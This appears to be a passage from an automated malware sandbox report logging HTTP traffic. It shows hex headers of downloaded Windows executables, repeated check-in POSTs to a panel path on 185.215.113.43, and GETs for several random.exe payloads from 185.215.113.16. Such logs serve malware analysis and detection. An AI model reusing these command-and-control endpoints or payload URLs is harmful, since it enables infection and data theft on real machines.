80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6c 6a 72 69 61 70 70 00 e0 2b 00 00 a0 00 00 00 de 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 64 74 61 76 67 74 00 20 00 00 00 80 2c 00 00 04 00 00 00 18 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:38 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:43 GMTContent-Type: application/octet-streamContent-Length: 1883648Last-Modified: Wed, 30 Oct 2024 04:13:06 GMTConnection: keep-aliveETag: "6721b252-1cbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 20 f0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 72 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 71 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 64 64 65 7a 74 67 00 b0 19 00 00 d0 30 00 00 a4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 7a 65 6c 72 63 79 76 00 10 00 00 00 80 4a 00 00 04 00 00 00 98 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:54 GMTContent-Type: application/octet-streamContent-Length: 2899456Last-Modified: Wed, 30 Oct 2024 03:12:16 GMTConnection: keep-aliveETag: "6721a410-2c3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6c 6a 72 69 61 70 70 00 e0 2b 00 00 a0 00 00 00 de 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 64 74 61 76 67 74 00 20 00 00 00 80 2c 00 00 04 00 00 00 18 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:26:02 GMTContent-Type: application/octet-streamContent-Length: 1883648Last-Modified: Wed, 30 Oct 2024 04:13:06 GMTConnection: keep-aliveETag: "6721b252-1cbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 20 f0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 72 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 71 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 64 64 65 7a 74 67 00 b0 19 00 00 d0 30 00 00 a4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 7a 65 6c 72 63 79 76 00 10 00 00 00 80 4a 00 00 04 00 00 00 98 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:26:20 GMTContent-Type: application/octet-streamContent-Length: 2899456Last-Modified: Wed, 30 Oct 2024 03:12:16 GMTConnection: keep-aliveETag: "6721a410-2c3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6c 6a 72 69 61 70 70 00 e0 2b 00 00 a0 00 00 00 de 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 64 74 61 76 67 74 00 20 00 00 00 80 2c 00 00 04 00 00 00 18 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:26:22 GMTContent-Type: application/octet-streamContent-Length: 1883648Last-Modified: Wed, 30 Oct 2024 04:13:06 GMTConnection: keep-aliveETag: "6721b252-1cbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 20 f0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 72 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 71 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 64 64 65 7a 74 67 00 b0 19 00 00 d0 30 00 00 a4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 7a 65 6c 72 63 79 76 00 10 00 00 00 80 4a 00 00 04 00 00 00 98 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002535001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002536001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
